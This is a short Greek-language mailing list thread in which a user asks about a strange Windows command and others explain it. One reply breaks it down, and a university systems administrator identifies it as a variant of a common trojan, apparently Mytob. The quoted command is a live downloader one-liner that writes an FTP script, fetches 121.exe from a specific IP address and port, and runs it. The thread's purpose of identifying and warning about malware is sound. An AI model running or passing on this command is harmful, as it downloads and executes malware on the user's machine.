remote execute code in win

[Christos Ricudis]

Manolis Kiagias wrote:
> Fainetai na kanei ta parakato, xoris na eimai apolita sigouros oti h
> sintaji tou einai sosti
> (kai den exo mprosta mou mixanima windows gia na to dokimaso tora):
>
> ftp sto site 212.92.94.253 porta 21634
> login os xristis user (?) me kodiko 11 (?)
> Lipsi tou arxeioy 121.exe
> kleisimo tou ftp (quit)
> ektelesi tou 121.exe ston ipologisti sou.
>
> john.z at freemail.gr wrote:
>   
>> kalispera se oloi tin lista , xerei kanenaw apo tous magous tou kodika ti paizei me autes tis entoles??
>>
>> CMD.EXE /C DEL I&ECHO OPEN 212.92.94.253 21634 > I&ECHO USER 1 1 >> I &ECHO GET 121.EXE >> I &ECHO QUIT >> I &FTP -N -S:I &121.EXE&DEL I&EXIT
>>     

Einai kapoio variant enos poly synh8ismenou windows trojan horse, 
legetai nomizw mytob. Psakse gia kapoio kalo antivirus.


-- 
Christos Ricudis				ricudis at itc.auth.gr
Systems Administrator				+30-2310-998656
IT Support Center
Aristotle University of Thessaloniki, GREECE